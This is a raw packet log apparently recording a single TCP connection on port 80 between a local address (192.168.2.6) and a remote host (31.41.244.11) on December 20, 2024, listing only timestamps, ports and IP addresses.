Dec 20, 2024 17:43:20.672535896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.673533916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.673923969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.673968077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.674694061 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.674735069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.674843073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.674885035 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.676059961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.676141977 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.676192999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.677293062 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.677340031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.677606106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.677647114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.678481102 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.678529978 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.678992987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.679039955 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.679773092 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.679819107 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.679898024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.679939985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.680998087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.681283951 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.681332111 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.682039976 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.682084084 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.682109118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.682147026 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.683131933 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.683176041 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.683511019 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.683552027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.684245110 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.684288979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.684533119 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.685463905 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.685512066 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.685556889 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.685594082 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.686640024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.686686993 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.686754942 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.686791897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.687896967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.688147068 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.688211918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.689097881 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.689143896 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.689260006 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.689299107 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.690460920 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.690506935 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.690717936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.690758944 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.691548109 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.691561937 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.691603899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.692589998 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.692636013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.692821980 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.692859888 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.693778992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.693840027 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.693919897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.693958998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.694969893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.695013046 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.695135117 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.696202040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.696249008 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.696285009 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.696327925 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.697362900 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.697410107 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.697436094 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.697472095 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.698589087 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.698657036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.698689938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.698731899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.699780941 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.699851036 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.699875116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.699915886 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.700949907 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.701057911 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.701108932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.702162981 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.702224016 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.702347040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.702393055 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.703367949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.703468084 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.703527927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.704648972 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.704701900 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.704782963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.704828024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.705749035 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.705795050 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.706046104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.706090927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.707099915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.707273960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.707335949 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.708122969 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.708203077 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.708242893 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.708300114 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.709321022 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.709376097 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.709618092 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.709661007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.710495949 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.710545063 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.710616112 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.710665941 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.711760044 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.711893082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.711942911 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.712857008 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.712902069 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.712990046 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.713030100 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.714081049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.714123964 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.714204073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.714237928 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.715276003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.715521097 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.715569019 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.716650963 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.716717005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.716962099 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.717005014 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.717680931 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.717742920 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.717775106 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.717814922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.718832016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.718894005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.719172955 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.719219923 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.720010042 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.720160961 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.720218897 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.721204996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.721252918 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.721338987 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.721381903 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.853212118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.853390932 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.853451967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.853620052 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.853801966 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.853852034 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.853857040 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.853889942 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.854927063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.854974985 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.854989052 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.855025053 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.856128931 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.856169939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.856432915 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.856472969 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.857326984 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.857373953 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.857589960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.857634068 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.858509064 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.858551979 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.858685970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.858725071 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.859715939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.859762907 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.859878063 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.859921932 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.860922098 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.860965967 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.860969067 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.861002922 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.862023115 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.862067938 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.862124920 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.862163067 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.863289118 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.863337994 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.863389015 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.863429070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.864413023 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.864459038 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.864506960 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.864546061 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.865588903 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.865632057 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.865708113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.865761995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.866807938 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.866852999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.866919041 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.866960049 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.868010998 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.868052006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.868355989 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.868397951 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.869191885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.869457006 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.869584084 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.869623899 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.870397091 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.870441914 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.870532990 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.870573997 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.871594906 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.871607065 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.871646881 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.872747898 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.872812986 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.872855902 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.872895956 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.873914003 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.873956919 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.874006033 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.874044895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.875102997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.875145912 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.875253916 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.875293970 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.876317978 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.876377106 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.876444101 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.876485109 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.877458096 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.877509117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.877526045 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.877568007 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.878704071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.878751040 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.879213095 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.879261017 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.879820108 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.879863024 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.880495071 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.880536079 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.881059885 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.881108999 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.881230116 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.881273031 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.882199049 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.882245064 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.882683992 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.882725954 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.883398056 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.883460045 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.883774996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.883816004 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.884603024 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.884649992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.884704113 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.884742022 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.885867119 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.885912895 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.886414051 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.886455059 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.887015104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.887058020 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.887336016 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.887377977 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.888164997 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.888211012 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.888526917 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.888578892 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.889405012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.889452934 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.889482021 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.889522076 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.890510082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.890552998 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.890604973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.890642881 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.891755104 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.891803026 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.891949892 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.891997099 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.892970085 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.893110037 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.893589973 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.893640995 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.894124985 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.894140959 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.894181013 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.895272017 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.895334005 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.895503998 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.895555973 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.896447897 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.896513939 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.896631956 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.896681070 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.897754908 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.897810936 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.897866964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.897912025 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.898818970 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.898883104 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.898901939 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.898948908 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.900018930 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.900072098 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.900077105 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.900121927 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.901263952 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.901314974 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.901356936 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.901402950 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.902379036 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.902430058 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.902467012 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.902512074 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.903589964 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.903645992 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.903670073 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.903748989 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.904789925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.904839039 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.905066967 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.905112982 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.905930996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.905985117 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.906135082 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.906178951 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.907177925 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.907223940 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.907250881 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.907264948 CET	49732	80	192.168.2.6	31.41.244.11
Dec 20, 2024 17:43:20.908318996 CET	80	49732	31.41.244.11	192.168.2.6
Dec 20, 2024 17:43:20.908380032 CET	49732	80	192.168.2.6	31.41.244.11
